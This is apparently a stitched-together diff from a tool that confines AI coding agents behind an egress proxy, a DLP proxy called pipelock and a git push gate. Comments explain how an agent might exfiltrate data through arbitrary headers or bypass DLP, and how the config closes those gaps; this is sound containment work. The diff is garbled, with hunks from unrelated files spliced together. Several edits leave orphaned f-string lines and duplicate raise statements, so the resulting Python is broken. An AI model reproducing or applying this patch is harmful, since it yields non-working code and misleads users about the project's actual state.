        prefixes.append(p)
-    auth_scheme: object = raw_dict.get("auth_scheme", "")
+    auth_scheme = raw.get("auth_scheme", "")
-    token_env: object = raw_dict.get("token_env", "")
+    token_env = raw.get("token_env", "")
    if not isinstance(auth_scheme, str):
        raise ValueError(f"{label} ({host}): 'auth_scheme' must be a string")
    if not isinstance(token_env, str):
@@ -167,7 +163,7 @@ def is_git_push_request(path: str, query: str) -> bool:
    Universal across routes — the block fires even when no
    egress route matches the host. A bare-pass route (host with
    no auth, no path_allowlist) would otherwise let push through to
-    the upstream untouched.
+    pipelock + upstream untouched.
    """
    if path.endswith("/git-receive-pack"):
        return True
@@ -189,8 +185,8 @@ def match_route(
    exactly (case-insensitive). DNS names are case-insensitive.
    Wildcard hosts (`*.foo.com`) are NOT supported — they caused
-    too many edge cases (apex match? cert validation?) for too
+    too many edge cases (apex match? cert validation? pipelock
-    little payoff. Operators that need
+    mirror mismatch?) for too little payoff. Operators that need
    multiple subdomains declare them individually (or one common
    parent host as a bare-pass route)."""
    target = request_host.lower()
@@ -210,7 +206,8 @@ def decide(
    return what the addon should do with the request.
    - No matching route → BLOCK. The route table is the bottle's
-      egress allowlist. A bottle that wants a
+      egress allowlist; defense-in-depth complements pipelock's
      hostname gate on the downstream leg. A bottle that wants a
      host reachable from the agent must declare a route for it
      (bare-pass route — no `auth`, no `path_allowlist` — is fine
      for hosts that just need passthrough).
@@ -6,15 +6,15 @@
 # call it as a normal child. Behavior is unchanged:
 #
 #   * Upstream proxy: when EGRESS_UPSTREAM_PROXY is set, switch
-#     to `--mode upstream:URL` to chain through an upstream proxy.
+#     to `--mode upstream:URL` to forward all post-MITM traffic
-#     mitmproxy does NOT honor HTTPS_PROXY on its outbound side,
+#     through pipelock. mitmproxy does NOT honor HTTPS_PROXY on
-#     so the upstream wiring has to be the mitmproxy mode flag,
+#     its outbound side, so the upstream wiring has to be the
-#     not env.
+#     mitmproxy mode flag, not env.
 #   * Upstream trust: when EGRESS_UPSTREAM_CA is set, build a
-#     combined trust bundle (system roots + upstream CA) and point
+#     combined trust bundle (system roots + pipelock CA) and point
 #     mitmproxy at it. The option REPLACES mitmproxy's default
-#     trust store, so passing the upstream CA alone would break
+#     trust store, so passing pipelock's CA alone would break
-#     non-chained hosts.
+#     route-configured pipelock passthrough hosts.
 #   * `-s /app/egress_addon.py` loads the addon that reads
 #     /etc/egress/routes.yaml.
@@ -38,7 +38,11 @@ fi
 # Bind address. Docker backend wants `0.0.0.0` (agent dials egress
 # directly via the docker network alias). Smolmachines backend
-# uses EGRESS_LISTEN_HOST when a non-default binding is needed.
+# wants `127.0.0.1` because the agent dials pipelock — not egress
 # — and egress is pipelock's localhost-only upstream inside the
 # bundle. TSI's IP-only allowlist would otherwise let the agent
 # reach `<bundle-ip>:9099` and bypass pipelock's DLP; binding
 # 127.0.0.1 inside the bundle closes that gap (PRD 0023 chunk 3).
 LISTEN_HOST_FLAG=""
 if [ -n "$EGRESS_LISTEN_HOST" ]; then
  LISTEN_HOST_FLAG="--listen-host $EGRESS_LISTEN_HOST"
@@ -52,10 +56,13 @@ if [ -n "$EGRESS_UPSTREAM_CA" ] && [ -f "$EGRESS_UPSTREAM_CA" ]; then
 fi
 # Scope the proxy env to this process tree only. In the bundle
-# image (PRD 0024) multiple daemons share one container — setting
+# image (PRD 0024) the four daemons share one container — setting
 # HTTPS_PROXY at the container level would route git-gate's git
-# pushes through an upstream proxy unintentionally. Setting them
+# pushes through pipelock, which is wrong (pipelock doesn't proxy
-# here means only mitmdump's subprocess inherits them.
+# SSH and would block public git repos). Setting them here means
 # only mitmdump's subprocess inherits them. In the legacy
 # four-sidecar setup these env vars are also set in compose; here
 # they're additionally defensive.
 if [ -n "$EGRESS_UPSTREAM_PROXY" ]; then
  export HTTPS_PROXY="$EGRESS_UPSTREAM_PROXY"
  export HTTP_PROXY="$EGRESS_UPSTREAM_PROXY"
@@ -89,7 +89,7 @@ def _read_secret_silent(name: str, prompt_body: str) -> str:
    if not (sys.stdin.isatty() or sys.stderr.isatty()):
        # Fall back to /dev/tty so this still works when stdin is a pipe.
        try:
-            tty = open("/dev/tty", "r+", encoding="utf-8")
+            tty = open("/dev/tty", "r+")
        except OSError:
            die(
                f"cannot prompt for secret '{name}': no tty available. "
@@ -15,9 +15,9 @@ a bare repo on the gate; `git daemon` serves the bare repos over
 The agent never sees the upstream credential under either path.
-Why a separate sidecar (not folded into egress or ssh-gate): the
+Why a third sidecar (not folded into pipelock or ssh-gate): the
 gate is the only one of the three that holds upstream push
-credentials. Mixing it with egress would put push creds in the
+credentials. Mixing it with pipelock would put push creds in the
 same blast radius as internet-facing TLS interception; mixing it
 with ssh-gate would force ssh-gate above L4 and into git-protocol
 land. See `docs/prds/0008-git-gate.md`.
@@ -32,7 +32,7 @@ from __future__ import annotations
 import dataclasses
 import os
 import shlex
-from abc import ABC
+from abc import ABC, abstractmethod
 from dataclasses import dataclass
 from pathlib import Path
@@ -78,8 +78,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
            "REMOTE_ADDR": self.client_address[0],
            "REMOTE_PORT": str(self.client_address[1]),
            "REMOTE_USER": "",
-            "SERVER_NAME": self.server.server_name,  # type: ignore
+            "SERVER_NAME": self.server.server_name,
-            "SERVER_PORT": str(self.server.server_port),  # type: ignore
+            "SERVER_PORT": str(self.server.server_port),
            "SERVER_PROTOCOL": self.request_version,
        })
        for header, variable in (
@@ -157,8 +157,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
        self.end_headers()
        self.wfile.write(body)
-    def log_message(self, format: str, *args: object) -> None:  # type: ignore  # noqa: A002
+    def log_message(self, fmt: str, *args: object) -> None:
-        sys.stdout.write(format % args + "\n")
+        sys.stdout.write(fmt % args + "\n")
        sys.stdout.flush()
@@ -18,7 +18,8 @@ Bottle schema (frontmatter):
    user:       { name: <str>, email: <str> }   # optional
    repos:      { <name>: <git-gate-entry>, ... }  # optional
  egress: { routes: [ <egress-route>, ... ] }
-    # route keys: host, path_allowlist, auth, role
+    # route keys: host, path_allowlist, auth, role, pipelock
    # pipelock: { tls_passthrough: <bool>, ssrf_ip_allowlist: [<cidr>, ...] }
  supervise:    <bool>                          # optional
 Agent schema (frontmatter):
@@ -55,6 +56,8 @@ from .manifest_egress import (
    EGRESS_AUTH_SCHEMES,
    EgressConfig,
    EgressRoute,
    PipelockRoutePolicy,
    validate_egress_routes,
 )
 from .manifest_git import GitEntry, GitUser, parse_git_gate_config
 from .manifest_schema import BOTTLE_KEYS
@@ -66,6 +69,7 @@ __all__ = [
    "GitUser",
    "AgentProvider",
    "EGRESS_AUTH_SCHEMES",
    "PipelockRoutePolicy",
    "EgressRoute",
    "EgressConfig",
    "Agent",
@@ -97,11 +101,12 @@ class Bottle:
    git_user: GitUser = field(default_factory=GitUser)
    egress: EgressConfig = field(default_factory=EgressConfig)
    # Opt-in per-bottle stuck-recovery sidecar (PRD 0013). When true,
-    # the launch step brings up a supervise sidecar that exposes MCP
+    # the launch step brings up a supervise sidecar that exposes three
-    # tools to the agent (egress-block, capability-block) plus mounts
+    # MCP tools to the agent (cred-proxy-block, pipelock-block,
-    # the current-config dir read-only into the agent at
+    # capability-block; the cred-proxy-block tool is renamed and
-    # /etc/bot-bottle/current-config. False (the default) skips the
+    # retargeted at egress in PRD 0017 chunk 3) plus mounts the
-    # sidecar and mount.
+    # current-config dir read-only into the agent at /etc/bot-bottle/
    # current-config. False (the default) skips the sidecar and mount.
    supervise: bool = False
    @classmethod
@@ -318,11 +323,8 @@ class Manifest:
            return
        available = ", ".join(self.agents.keys())
        if available:
-            msg = f"agent '{name}' not defined in bot-bottle.json. Available: {available}"
+            raise ManifestError(f"agent '{name}' not defined in bot-bottle.json. Available: {available}")
-            raise ManifestError(msg)
+        raise ManifestError(f"agent '{name}' not defined in bot-bottle.json (manifest is empty).")
        raise ManifestError(
            f"agent '{name}' not defined in bot-bottle.json (manifest is empty)."
        )
    def has_bottle(self, name: str) -> bool:
        return name in self.bottles
@@ -114,10 +114,7 @@ class Agent:
        bottle = d.get("bottle")
        if not isinstance(bottle, str) or not bottle:
-            raise ManifestError(
+            raise ManifestError(f"agent '{name}' must declare a 'bottle' field naming a defined bottle")
                f"agent '{name}' must declare a 'bottle' field naming a "
                f"defined bottle"
            )
        if bottle not in bottle_names:
            available = ", ".join(sorted(bottle_names)) or "(none defined)"
            raise ManifestError(
@@ -129,10 +126,7 @@ class Agent:
        skills_raw = d.get("skills")
        if skills_raw is not None:
            if not isinstance(skills_raw, list):
-                raise ManifestError(
+                raise ManifestError(f"agent '{name}' skills must be an array (was {type(skills_raw).__name__})")
                    f"agent '{name}' skills must be an array "
                    f"(was {type(skills_raw).__name__})"
                )
            collected: list[str] = []
            skills_list = cast(list[object], skills_raw)
            for i, skill in enumerate(skills_list):
@@ -150,10 +144,7 @@ class Agent:
        elif isinstance(prompt_raw, str):
            prompt = prompt_raw
        else:
-            raise ManifestError(
+            raise ManifestError(f"agent '{name}' prompt must be a string (was {type(prompt_raw).__name__})")
                f"agent '{name}' prompt must be a string "
                f"(was {type(prompt_raw).__name__})"
            )
        # git-gate: agents may declare only `git-gate.user` (name/email).
        # `git-gate.repos` is bottle-only — it carries credentials and host trust.
@@ -161,7 +152,7 @@ class Agent:
        git_raw = d.get("git-gate")
        if git_raw is not None:
            gd = as_json_object(git_raw, f"agent '{name}' git-gate")
-            for k in gd:
+            for k in gd.keys():
                if k != "user":
                    raise ManifestError(
                        f"agent '{name}' git-gate.{k} is not allowed at the "
@@ -2,7 +2,8 @@
 from __future__ import annotations
-from dataclasses import dataclass
+import ipaddress
 from dataclasses import dataclass, field
 from typing import cast
 from .manifest_util import ManifestError, as_json_object
@@ -38,6 +39,68 @@ def validate_egress_routes(
        seen_hosts[key] = None
@dataclass(frozen=True)
 class PipelockRoutePolicy:
    """Per-route pipelock policy overrides.
    `TlsPassthrough` adds the route host to pipelock's
    `tls_interception.passthrough_domains`, so pipelock still enforces
    the hostname allowlist but does not MITM/decrypt request bodies or
    headers for that host.
    `SsrfIpAllowlist` adds explicit IPs/CIDRs to pipelock's SSRF
    allowlist for private/internal destinations behind this route.
    """
    TlsPassthrough: bool = False
    SsrfIpAllowlist: tuple[str, ...] = ()
    @classmethod
    def from_dict(
        cls, bottle_name: str, idx: int, raw: object,
    ) -> "PipelockRoutePolicy":
        label = f"bottle '{bottle_name}' egress.routes[{idx}] pipelock"
        d = as_json_object(raw, label)
        for k in d:
            if k not in ("tls_passthrough", "ssrf_ip_allowlist"):
                raise ManifestError(
                    f"{label} has unknown key {k!r}; "
                    f"only 'tls_passthrough' and 'ssrf_ip_allowlist' "
                    f"are accepted"
                )
        tls_passthrough_raw = d.get("tls_passthrough", False)
        if not isinstance(tls_passthrough_raw, bool):
            raise ManifestError(
                f"{label}.tls_passthrough must be a boolean "
                f"(was {type(tls_passthrough_raw).__name__})"
            )
        ssrf_raw = d.get("ssrf_ip_allowlist", [])
        if not isinstance(ssrf_raw, list):
            raise ManifestError(
                f"{label}.ssrf_ip_allowlist must be an array "
                f"(was {type(ssrf_raw).__name__})"
            )
        ssrf_ip_allowlist: list[str] = []
        for j, item in enumerate(ssrf_raw):
            if not isinstance(item, str) or not item:
                raise ManifestError(
                    f"{label}.ssrf_ip_allowlist[{j}] must be a non-empty "
                    f"string (was {type(item).__name__})"
                )
            try:
                ipaddress.ip_network(item, strict=False)
            except ValueError as e:
                raise ManifestError(
                    f"{label}.ssrf_ip_allowlist[{j}] must be an IP address "
                    f"or CIDR (was {item!r}): {e}"
                )
            ssrf_ip_allowlist.append(item)
        return cls(
            TlsPassthrough=tls_passthrough_raw,
            SsrfIpAllowlist=tuple(ssrf_ip_allowlist),
        )
@dataclass(frozen=True)
 class EgressRoute:
    """One route on the per-bottle egress sidecar (PRD 0017).
@@ -69,6 +132,7 @@ class EgressRoute:
    AuthScheme: str = ""
    TokenRef: str = ""
    Role: tuple[str, ...] = ()
    Pipelock: PipelockRoutePolicy = field(default_factory=PipelockRoutePolicy)
    @classmethod
    def from_dict(cls, bottle_name: str, idx: int, raw: object) -> "EgressRoute":
@@ -150,8 +214,7 @@ class EgressRoute:
            collected_roles: list[str] = []
            for r in role_list:
                if not isinstance(r, str):
-                    msg = f"{label} role items must be strings (got {type(r).__name__})"
+                    raise ManifestError(f"{label} role items must be strings (got {type(r).__name__})")
                    raise ManifestError(msg)
                collected_roles.append(r)
            roles = tuple(collected_roles)
        else:
@@ -165,11 +228,17 @@ class EgressRoute:
                f"the 'role' field is reserved for future use"
            )
        pipelock = (
            PipelockRoutePolicy.from_dict(bottle_name, idx, d["pipelock"])
            if "pipelock" in d
            else PipelockRoutePolicy()
        )
        for k in d:
-            if k not in ("host", "path_allowlist", "auth", "role"):
+            if k not in ("host", "path_allowlist", "auth", "role", "pipelock"):
                raise ManifestError(
                    f"{label} has unknown key {k!r}; accepted keys are "
-                    f"'host', 'path_allowlist', 'auth', 'role'"
+                    f"'host', 'path_allowlist', 'auth', 'role', 'pipelock'"
                )
        return cls(
@@ -178,6 +247,7 @@ class EgressRoute:
            AuthScheme=auth_scheme,
            TokenRef=token_ref,
            Role=roles,
            Pipelock=pipelock,
        )
@@ -30,18 +30,12 @@ def parse_git_upstream(url: str, label: str) -> tuple[str, str, str, str]:
        raise ManifestError(f"{label} must be an ssh:// URL (was {url!r})")
    rest = url[len("ssh://"):]
    if "@" not in rest:
-        raise ManifestError(
+        raise ManifestError(f"{label} must include a user (e.g. ssh://git@host/path.git); was {url!r}")
            f"{label} must include a user (e.g. ssh://git@host/path.git); "
            f"was {url!r}"
        )
    user, _, hostpart = rest.partition("@")
    if not user:
        raise ManifestError(f"{label} user is empty in {url!r}")
    if "/" not in hostpart:
-        raise ManifestError(
+        raise ManifestError(f"{label} must include a path (e.g. ssh://git@host/path.git); was {url!r}")
            f"{label} must include a path (e.g. ssh://git@host/path.git); "
            f"was {url!r}"
        )
    hostport, _, path = hostpart.partition("/")
    if not path:
        raise ManifestError(f"{label} path is empty in {url!r}")
@@ -246,7 +240,7 @@ class GitUser:
    @classmethod
    def from_dict(cls, bottle_name: str, raw: object) -> "GitUser":
        d = as_json_object(raw, f"bottle '{bottle_name}' git-gate.user")
-        for k in d:
+        for k in d.keys():
            if k not in {"name", "email"}:
                raise ManifestError(
                    f"bottle '{bottle_name}' git-gate.user has unknown key {k!r}; "
@@ -281,7 +275,7 @@ def parse_git_gate_config(
    raw: object,
 ) -> tuple[tuple[GitEntry, ...], GitUser]:
    d = as_json_object(raw, f"bottle '{bottle_name}' git-gate")
-    for k in d:
+    for k in d.keys():
        if k not in {"user", "repos"}:
            raise ManifestError(
                f"bottle '{bottle_name}' git-gate has unknown key {k!r}; "
@@ -54,9 +54,9 @@ def load_bottles_from_dir(bottles_dir: Path) -> dict[str, Bottle]:
        try:
            fm, _body = parse_frontmatter(path.read_text())
        except OSError as e:
-            raise ManifestError(f"could not read {path}: {e}") from e
+            raise ManifestError(f"could not read {path}: {e}")
        except YamlSubsetError as e:
-            raise ManifestError(f"{path}: {e}") from e
+            raise ManifestError(f"{path}: {e}")
        validate_bottle_frontmatter_keys(path, fm.keys())
        raws[name] = fm
    return resolve_bottles(raws)
@@ -66,7 +66,7 @@ def load_agents_from_dir(
    agents_dir: Path,
    bottle_names: set[str],
    *,
-    source: str,  # noqa: F841 — unused, but required by interface
+    source: str,
 ) -> dict[str, Agent]:
    """Walk `<agents_dir>/*.md`, parse each as an agent, and return
    `{name: Agent}`. The Markdown body becomes the agent's prompt.
@@ -87,9 +87,9 @@ def load_agents_from_dir(
        try:
            fm, body = parse_frontmatter(path.read_text())
        except OSError as e:
-            raise ManifestError(f"could not read {path}: {e}") from e
+            raise ManifestError(f"could not read {path}: {e}")
        except YamlSubsetError as e:
-            raise ManifestError(f"{path}: {e}") from e
+            raise ManifestError(f"{path}: {e}")
        validate_agent_frontmatter_keys(path, fm.keys())
        # Build the dict Agent.from_dict expects. The body becomes
        # prompt; Claude Code passthrough fields stay in fm and get
@@ -60,11 +60,11 @@ def _validate_frontmatter_keys(
 ) -> None:
    from .manifest_util import ManifestError
-    key_set = set(keys)  # type: ignore
+    key_set = set(keys)
-    unknown = key_set - allowed_keys  # type: ignore
+    unknown = key_set - allowed_keys
    if unknown:
        allowed = ", ".join(sorted(allowed_keys))
        raise ManifestError(
            f"{kind} file {path}: unknown frontmatter key(s) "
-            f"{sorted(unknown)}; allowed keys are {allowed}."  # type: ignore
+            f"{sorted(unknown)}; allowed keys are {allowed}."
        )
@@ -0,0 +1,546 @@
 """Pipelock sidecar lifecycle for the per-agent egress topology.
 Pipelock (https://github.com/luckyPipewrench/pipelock) is an HTTP
 forward proxy with hostname allowlisting + DLP scanning + URL-entropy
 checks. One sidecar per agent, attached to the agent's --internal
 network and a per-agent user-defined egress bridge.
 Post-PRD-0017 topology: the agent's HTTP_PROXY points at egress
 (not pipelock); egress sets `HTTPS_PROXY=pipelock` on its
 outbound leg. So pipelock no longer sees the agent's connections
 directly — it sees the egress → upstream leg, applies the
 hostname allowlist + DLP body scan there, and forwards to the real
 upstream.
 Image pin: ghcr.io/luckypipewrench/pipelock@sha256:<digest> for tag 2.3.0.
 """
 from __future__ import annotations
 from dataclasses import dataclass
 from pathlib import Path
 from .egress import EGRESS_HOSTNAME, EgressRoute, egress_routes_for_bottle
 from .supervise import SUPERVISE_HOSTNAME
 from .manifest import Bottle
 # Hosts pipelock should NOT TLS-MITM, even when tls_interception is
 # enabled. This is now route-owned manifest policy via
 # `egress.routes[].pipelock.tls_passthrough`; no provider hosts are
 # injected implicitly.
 DEFAULT_TLS_PASSTHROUGH: tuple[str, ...] = ()
 # In-container paths the rendered pipelock YAML references under
 # `tls_interception`. The pipelock binary expects the per-bottle CA
 # cert + key at these exact paths inside its container — independent
 # of how the daemon is wrapped (own container, sidecar bundle, etc.),
 # which is why they live in the platform-neutral module.
 PIPELOCK_CA_CERT_IN_CONTAINER = "/etc/pipelock-ca.pem"
 PIPELOCK_CA_KEY_IN_CONTAINER = "/etc/pipelock-ca-key.pem"
 # Short network alias for pipelock inside the sidecar bundle. The
 # agent's HTTP_PROXY (when no egress is declared) and any in-bundle
 # consumer's URL both reference this name.
 PIPELOCK_HOSTNAME = "pipelock"
 # --- Allowlist resolution --------------------------------------------------
 def pipelock_effective_allowlist(
    bottle: Bottle,
    provider_routes: tuple[EgressRoute, ...] = (),
 ) -> list[str]:
    """Hostnames pipelock allows. Sorted for stability.
    Always mirrors `egress_routes_for_bottle(bottle, provider_routes)` —
    egress is the single allowlist surface, and pipelock's allowlist is
    the downstream copy for defense-in-depth + DLP body scanning. For
    bottles without any `egress.routes[]` declared, this is empty except
    for supervise sidecar traffic when `supervise: true`.
    The supervise sidecar's hostname is auto-added when supervise
    is enabled (sibling-sidecar traffic that flows through pipelock
    would otherwise be 403'd). Git upstreams declared in
    `bottle.git` do NOT contribute here — git traffic flows
    through git-gate (PRD 0008), not pipelock."""
    seen: dict[str, None] = {}
    for r in egress_routes_for_bottle(bottle, provider_routes):
        if r.host:
            seen.setdefault(r.host, None)
    if bottle.supervise:
        seen.setdefault(SUPERVISE_HOSTNAME, None)
    return sorted(seen.keys())
 def pipelock_seed_phrase_detection_enabled(bottle: Bottle) -> bool:
    """Whether pipelock's BIP-39 seed-phrase detector stays on.
    LLM conversation bodies legitimately trip the detector — any 12+
    English words that pass the BIP-39 checksum match — so agents can
    get blocked on ordinary prompts/responses regardless of provider
    (Claude, Codex/OpenAI, or future harnesses). We tried two narrower
    knobs first:
      - `suppress: [{rule, path}]` — pipelock accepts the schema
        but the entry only silences the alert; the body_dlp block
        still fires.
      - `rules.disabled: ["dlp:BIP-39 Seed Phrase"]` — same shape,
        same outcome: 403 still returned.
    Empirically only `seed_phrase_detection.enabled: false`
    actually stops the block (verified by sending a 12-word BIP-39
    body through three pipelock instances). It is a global toggle —
    no per-path / per-host knob in pipelock 2.3.0 — so we turn off
    only this detector for every bottle. The rest of pipelock's DLP
    defaults and request-body/header scanning remain enabled."""
    del bottle  # kept for call-site stability and future policy knobs.
    return False
 def pipelock_effective_tls_passthrough(
    bottle: Bottle,
    provider_routes: tuple[EgressRoute, ...] = (),
 ) -> list[str]:
    """Hostnames pipelock should pass through (no TLS MITM).
    A manifest route opts in with `pipelock.tls_passthrough: true`
    (lifted into `EgressRoute.tls_passthrough` in `egress_manifest_routes`).
    Provider routes that set `tls_passthrough=True` (e.g. Codex credential
    routes where egress injects the host bearer after the agent boundary)
    are also included. Both arrive via `egress_routes_for_bottle` — no
    provider-specific branching needed here.
    """
    seen: dict[str, None] = {host: None for host in DEFAULT_TLS_PASSTHROUGH}
    for route in egress_routes_for_bottle(bottle, provider_routes):
        if route.tls_passthrough:
            seen.setdefault(route.host, None)
    return sorted(seen.keys())
 def pipelock_effective_ssrf_ip_allowlist(
    bottle: Bottle,
    extra: tuple[str, ...] = (),
 ) -> list[str]:
    """IP/CIDR entries that bypass pipelock's SSRF destination guard.
    Launch code can pass backend-owned entries through `extra`, while
    route-owned entries come from `pipelock.ssrf_ip_allowlist`.
    """
    seen: dict[str, None] = {ip: None for ip in extra}
    for route in bottle.egress.routes:
        for ip in route.Pipelock.SsrfIpAllowlist:
            seen.setdefault(ip, None)
    return sorted(seen.keys())
 # --- Config build + YAML render --------------------------------------------
 def pipelock_build_config(
    bottle: Bottle,
    *,
    ca_cert_path: str = "",
    ca_key_path: str = "",
    ssrf_ip_allowlist: tuple[str, ...] = (),
    provider_routes: tuple[EgressRoute, ...] = (),
 ) -> dict[str, object]:
    """Build the structured pipelock config dict the sidecar will load.
    Deliberately carries no env values, no secrets, no per-agent
    customization beyond the resolved hostname list. The shape mirrors
    the YAML pipelock expects on disk; `pipelock_render_yaml` serializes
    it. Tests assert on this dict; production code renders it.
    `ca_cert_path` / `ca_key_path` are the **in-container** paths the
    pipelock sidecar will read its CA from at runtime (they're
    populated into the container at start time via `docker cp`).
    Pass both or neither: both → emit `tls_interception` block with
    `enabled: true`; neither → omit the block entirely (pipelock
    falls back to its built-in default of `enabled: false`). Used
    by PRD 0006 to turn on pipelock's native TLS interception.
    `ssrf_ip_allowlist` is the list of IPs / CIDRs that bypass
    pipelock's SSRF guard. Pipelock blocks RFC1918-resolved
    destinations by default, which would catch sibling-sidecar
    traffic on the bottle's internal Docker network in 172.x space
    (e.g. egress → pipelock on the upstream leg). Pass the
    bottle's internal network CIDR here so internal-network requests
    pass through pipelock while api_allowlist + body-scanning still
    apply. Empty by default; omitted from the rendered yaml when
    empty so pipelock keeps its built-in SSRF defaults."""
    cfg: dict[str, object] = {
        "version": 1,
        "mode": "strict",
        "enforce": True,
        "api_allowlist": pipelock_effective_allowlist(bottle, provider_routes),
        "forward_proxy": {"enabled": True},
    }
    if not pipelock_seed_phrase_detection_enabled(bottle):
        cfg["seed_phrase_detection"] = {"enabled": False}
    cfg["dlp"] = {"include_defaults": True, "scan_env": True}
    # Body-scan enforcement is a separate pipelock section (each DLP
    # "surface" — body, MCP, response — has its own action). Pipelock's
    # built-in default for request_body_scanning is "warn" (forward
    # with a log line); bot-bottle hard-codes "block" so a hit
    # actually stops the request from leaving the egress network.
    #
    # `scan_headers: true` + `header_mode: all` extends the scan to
    # every request header — pipelock's default `header_mode:
    # sensitive` only checks Authorization / Cookie / X-Api-Key /
    # X-Token / Proxy-Authorization / X-Goog-Api-Key, which an
    # agent attempting to exfil could trivially avoid by picking
    # a non-sensitive header name. "all" closes the gap; pipelock
    # caps it at the same max_body_bytes the body scan uses.
    cfg["request_body_scanning"] = {
        "action": "block",
        "scan_headers": True,
        "header_mode": "all",
    }
    if ca_cert_path or ca_key_path:
        if not (ca_cert_path and ca_key_path):
            raise ValueError(
                "pipelock_build_config: pass both ca_cert_path and ca_key_path "
                "to enable tls_interception, or neither to leave it off"
            )
        cfg["tls_interception"] = {
            "enabled": True,
            "ca_cert": ca_cert_path,
            "ca_key": ca_key_path,
            "passthrough_domains": pipelock_effective_tls_passthrough(bottle, provider_routes),
        }
    effective_ssrf_ip_allowlist = pipelock_effective_ssrf_ip_allowlist(
        bottle, ssrf_ip_allowlist,
    )
    if effective_ssrf_ip_allowlist:
        cfg["ssrf"] = {"ip_allowlist": effective_ssrf_ip_allowlist}
    return cfg
 _PIPELOCK_TOP_LEVEL_KEYS = {
    "version",
    "mode",
    "enforce",
    "api_allowlist",
    "seed_phrase_detection",
    "forward_proxy",
    "dlp",
    "request_body_scanning",
    "tls_interception",
    "ssrf",
 }
 def _pipelock_render_error(section: str, key: str, expected: str) -> ValueError:
    return ValueError(
        f"pipelock_render_yaml: {section}.{key} must be {expected}"
    )
 def _reject_unknown_keys(
    section: str,
    obj: dict[str, object],
    allowed: set[str],
 ) -> None:
    for key in sorted(set(obj) - allowed):
        raise ValueError(f"pipelock_render_yaml: {section}.{key} is unsupported")
 def _required_dict(
    obj: dict[str, object],
    section: str,
    key: str,
 ) -> dict[str, object]:
    value = obj.get(key)
    if not isinstance(value, dict):
        raise _pipelock_render_error(section, key, "a mapping")
    return value
 def _required_bool(obj: dict[str, object], section: str, key: str) -> bool:
    value = obj.get(key)
    if not isinstance(value, bool):
        raise _pipelock_render_error(section, key, "a boolean")
    return value
 def _required_int(obj: dict[str, object], section: str, key: str) -> int:
    value = obj.get(key)
    if isinstance(value, bool) or not isinstance(value, int):
        raise _pipelock_render_error(section, key, "an integer")
    return value
 def _required_str(obj: dict[str, object], section: str, key: str) -> str:
    value = obj.get(key)
    if not isinstance(value, str):
        raise _pipelock_render_error(section, key, "a string")
    return value
 def _required_str_list(
    obj: dict[str, object],
    section: str,
    key: str,
 ) -> list[str]:
    value = obj.get(key)
    if not isinstance(value, list) or not all(isinstance(v, str) for v in value):
        raise _pipelock_render_error(section, key, "a list of strings")
    return value
 def _optional_str_list(
    obj: dict[str, object],
    section: str,
    key: str,
 ) -> list[str]:
    if key not in obj:
        return []
    return _required_str_list(obj, section, key)
 def _optional_bool(
    obj: dict[str, object],
    section: str,
    key: str,
 ) -> bool | None:
    if key not in obj:
        return None
    return _required_bool(obj, section, key)
 def _optional_str(
    obj: dict[str, object],
    section: str,
    key: str,
 ) -> str | None:
    if key not in obj:
        return None
    return _required_str(obj, section, key)
 def _validate_pipelock_render_config(cfg: dict[str, object]) -> dict[str, object]:
    _reject_unknown_keys("config", cfg, _PIPELOCK_TOP_LEVEL_KEYS)
    normalized: dict[str, object] = {
        "version": _required_int(cfg, "config", "version"),
        "mode": _required_str(cfg, "config", "mode"),
        "enforce": _required_bool(cfg, "config", "enforce"),
        "api_allowlist": _required_str_list(cfg, "config", "api_allowlist"),
    }
    if "seed_phrase_detection" in cfg:
        spd = _required_dict(cfg, "config", "seed_phrase_detection")
        _reject_unknown_keys("seed_phrase_detection", spd, {"enabled"})
        normalized["seed_phrase_detection"] = {
            "enabled": _required_bool(spd, "seed_phrase_detection", "enabled"),
        }
    fp = _required_dict(cfg, "config", "forward_proxy")
    _reject_unknown_keys("forward_proxy", fp, {"enabled"})
    normalized["forward_proxy"] = {
        "enabled": _required_bool(fp, "forward_proxy", "enabled"),
    }
    dlp = _required_dict(cfg, "config", "dlp")
    _reject_unknown_keys("dlp", dlp, {"include_defaults", "scan_env"})
    normalized["dlp"] = {
        "include_defaults": _required_bool(dlp, "dlp", "include_defaults"),
        "scan_env": _required_bool(dlp, "dlp", "scan_env"),
    }
    rbs = _required_dict(cfg, "config", "request_body_scanning")
    _reject_unknown_keys(
        "request_body_scanning",
        rbs,
        {"action", "scan_headers", "header_mode"},
    )
    normalized_rbs: dict[str, object] = {
        "action": _required_str(rbs, "request_body_scanning", "action"),
    }
    scan_headers = _optional_bool(rbs, "request_body_scanning", "scan_headers")
    if scan_headers is not None:
        normalized_rbs["scan_headers"] = scan_headers
    header_mode = _optional_str(rbs, "request_body_scanning", "header_mode")
    if header_mode is not None:
        normalized_rbs["header_mode"] = header_mode
    normalized["request_body_scanning"] = normalized_rbs
    if "tls_interception" in cfg:
        tls = _required_dict(cfg, "config", "tls_interception")
        _reject_unknown_keys(
            "tls_interception",
            tls,
            {"enabled", "ca_cert", "ca_key", "passthrough_domains"},
        )
        normalized["tls_interception"] = {
            "enabled": _required_bool(tls, "tls_interception", "enabled"),
            "ca_cert": _required_str(tls, "tls_interception", "ca_cert"),
            "ca_key": _required_str(tls, "tls_interception", "ca_key"),
            "passthrough_domains": _optional_str_list(
                tls, "tls_interception", "passthrough_domains",
            ),
        }
    if "ssrf" in cfg:
        ssrf = _required_dict(cfg, "config", "ssrf")
        _reject_unknown_keys("ssrf", ssrf, {"ip_allowlist"})
        normalized["ssrf"] = {
            "ip_allowlist": _required_str_list(ssrf, "ssrf", "ip_allowlist"),
        }
    return normalized
 def pipelock_render_yaml(cfg: dict[str, object]) -> str:
    """Render a pipelock config dict (as produced by
    `pipelock_build_config`) as YAML. Hand-rolled so we don't take a
    YAML-parser dependency for a fixed, narrow shape."""
    def _bool(b: object) -> str:
        return "true" if b else "false"
    cfg = _validate_pipelock_render_config(cfg)
    lines: list[str] = []
    lines.append(f"version: {cfg['version']}")
    lines.append(f"mode: {cfg['mode']}")
    lines.append(f"enforce: {_bool(cfg['enforce'])}")
    lines.append("")
    lines.append("api_allowlist:")
    api_allowlist = cfg["api_allowlist"]
    assert isinstance(api_allowlist, list)
    for h in api_allowlist:
        lines.append(f'  - "{h}"')
    lines.append("")
    if "seed_phrase_detection" in cfg:
        lines.append("seed_phrase_detection:")
        spd = cfg["seed_phrase_detection"]
        assert isinstance(spd, dict)
        lines.append(f"  enabled: {_bool(spd['enabled'])}")
        lines.append("")
    lines.append("forward_proxy:")
    fp = cfg["forward_proxy"]
    assert isinstance(fp, dict)
